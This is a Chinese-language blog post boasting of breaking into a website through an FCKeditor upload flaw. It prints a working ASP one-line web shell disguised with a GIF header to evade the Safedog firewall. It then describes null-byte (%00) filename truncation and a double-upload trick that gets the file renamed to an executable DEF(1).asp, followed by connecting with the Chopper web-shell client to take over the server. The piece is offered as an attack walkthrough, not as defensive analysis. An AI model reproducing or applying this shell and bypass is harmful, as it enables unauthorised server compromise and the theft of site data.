PS：有点尴尬,二次上传突破FCK,免杀马儿过狗。
刚开始和超霸一起弄，TMDGB.弄到四点多,早上尼玛七点多的又去考试,虽然考试还是睡着了,但是TMDGB感觉日子好充实啊！
FCK上传地址如下所示：
http://www.xxx.cn/fckeditor/editor/filemanager/connectors/uploadtest.html
先准备好一个过狗一句话：
<%if request ("1")<>""then session("1")=request("1"):end if:if session("1")<>"" then execute session("1")%>GIF89A #密码1
将马儿保存为jpg格式，上传后抓包。
选择%00右键
然后发送。然后就会变成这个样子
这里涉及到两个知识，
1.%00的意思是将“;jpg”进行截断,也就是舍去，不要它。
2.为啥是DEF.asp;jpg呢？这里其实就是突破FCK的重点了。为啥呢？因为FCK会逮住小数点后面的名称。如果是asp肯定能是不行的,所以要承接一个图片的,因为这个图片是要给FCK看的。如果后面的不是他运行的格式，也肯定不让你上传。
过狗上传
那么过狗的姿势呢？其实很简单。如下所示
然后发送GO。
注意！
上传成功后返回的路径是：/upfile//DEF.asp_;jpg
这个显然不能被解析！而且会被安全狗拦截！
很简单因为DEF.asp_;jpg。在安全狗里面IIS6.0的解析漏洞是没办法利用的。就算是http://www.xishaonian.com/1.asp/1.jpg也是不可以连接的！
那我们再GO一次！
然后你会惊奇的发现。
文件被改名成了：/upfile//DEF(1).asp
这里又涉及到一个重命名的知识点，当你本地建立一个已有的文件windows就会给你重命名。（PS：其实之前那个没有被删,只是不让你访问罢了.）
由upfile//DEF.asp_;jpg
重命名成了
/upfile//DEF(1).asp
为啥_;jpg没有了呢。很简单被我们的%00给截断了的。所以也就是upfile/def.asp被重命名为upfile/def(1).asp的过程。
那么我们现在访问一下。
如图所示。成功了的！直接拿菜刀连接。
拿下！
通过两天才拿下，这里还有几个小的知识点要总结的。